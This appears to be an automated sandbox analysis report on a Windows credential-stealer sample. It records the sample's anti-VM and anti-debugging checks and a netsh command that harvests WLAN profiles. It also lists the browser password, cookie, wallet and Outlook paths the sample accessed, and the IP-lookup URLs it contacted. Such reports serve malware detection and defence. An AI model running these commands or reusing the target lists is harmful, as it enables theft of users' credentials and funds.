Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598233 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598125 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598016 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597891 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597766 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597656 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597547 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597313 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597198 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597078 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596969 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596859 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596750 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596640 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596374 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596266 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596156 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595719 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595594 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595484 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595375 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595266 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595156 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMToolsHook.dll
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmmousever.dll
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 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
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmmousever
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmwareLR^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMToolsHookLR^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VirtualMachine: @
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003790000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1680992621.0000000005580000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: xeqemuh
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028E4000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1677581277.00000000028FA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VirtualMachine: False
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmmouseverLR^q
Source: 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003790000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1678676534.0000000003608000.00000004.00000800.00020000.00000000.sdmp, 14posdLrGh.exe, 00000000.00000002.1680992621.0000000005580000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: nodunuqemuzanihiterator
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VirtualMachine:
Source: 14posdLrGh.exe, 00000000.00000002.1677031531.0000000000685000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMToolsHook
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_057A03AC CheckRemoteDebuggerPresent, 0_2_057A03AC
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\14posdLrGh.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\14posdLrGh.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\14posdLrGh.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Users\user\Desktop\14posdLrGh.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
AV process strings found (often used to terminate AV products)
Source: 14posdLrGh.exe, 00000000.00000002.1680724051.00000000054AD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected PXRECVOWEIWOEI Stealer
Source: Yara match File source: 00000000.00000002.1677581277.0000000002919000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 14posdLrGh.exe PID: 6516, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Electrum
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^qSC:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldbt-^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q3C:\Users\user\AppData\Roaming\Exodus\exodus.wallett-^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q0C:\Users\user\AppData\Roaming\Ethereum\keystoret-^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Exodus
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q4C:\Users\user\AppData\Local\Coinomi\Coinomi\walletst-^q
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q0C:\Users\user\AppData\Roaming\Ethereum\keystoret-^q
Tries to harvest and steal WLAN passwords
Source: C:\Users\user\Desktop\14posdLrGh.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\14posdLrGh.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key3.db Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\14posdLrGh.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000000.00000002.1677581277.00000000024D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 14posdLrGh.exe PID: 6516, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected PXRECVOWEIWOEI Stealer
Source: Yara match File source: 00000000.00000002.1677581277.0000000002919000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 14posdLrGh.exe PID: 6516, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1438234 Sample: 14posdLrGh.exe Startdate: 08/05/2024 Architecture: WINDOWS Score: 100 25 whatismyipaddressnow.co 2->25 27 ip-api.com 2->27 29 2 other IPs or domains 2->29 37 Multi AV Scanner detection for domain / URL 2->37 39 Antivirus detection for URL or domain 2->39 41 Antivirus / Scanner detection for submitted sample 2->41 43 7 other signatures 2->43 8 14posdLrGh.exe 15 36 2->8         started        12 msiexec.exe 2->12         started        signatures3 process4 dnsIp5 31 ip-api.com 208.95.112.1, 49732, 80 TUT-ASUS United States 8->31 33 icanhazip.com 104.16.184.241, 49731, 80 CLOUDFLARENETUS United States 8->33 35 whatismyipaddressnow.co 172.67.143.245, 443, 49730, 49733 CLOUDFLARENETUS United States 8->35 45 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 8->45 47 Tries to steal Mail credentials (via file / registry access) 8->47 49 Found many strings related to Crypto-Wallets (likely being stolen) 8->49 51 4 other signatures 8->51 14 cmd.exe 1 8->14         started        signatures6 process7 signatures8 53 Uses netsh to modify the Windows network and firewall settings 14->53 55 Tries to harvest and steal WLAN passwords 14->55 17 netsh.exe 2 14->17         started        19 conhost.exe 14->19         started        21 findstr.exe 1 14->21         started        23 chcp.com 1 14->23         started        process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
172.67.143.245
 whatismyipaddressnow.co United States
13335 CLOUDFLARENETUS false
104.16.184.241
 icanhazip.com United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
whatismyipaddressnow.co 172.67.143.245 true
ip-api.com 208.95.112.1 true
icanhazip.com 104.16.184.241 true
114.82.9.0.in-addr.arpa unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://icanhazip.com/ false
    		high
    https://whatismyipaddressnow.co/API/FETCH/getcountry.php false
    • 12%, Virustotal, Browse
    • Avira URL Cloud: malware
    		 unknown
    https://whatismyipaddressnow.co/API/FETCH/filter.php?countryid=14&token=KdudHBIkdYW9 false
    • 9%, Virustotal, Browse
    • Avira URL Cloud: phishing
    		 unknown
    http://ip-api.com/line/?fields=hosting false
      		high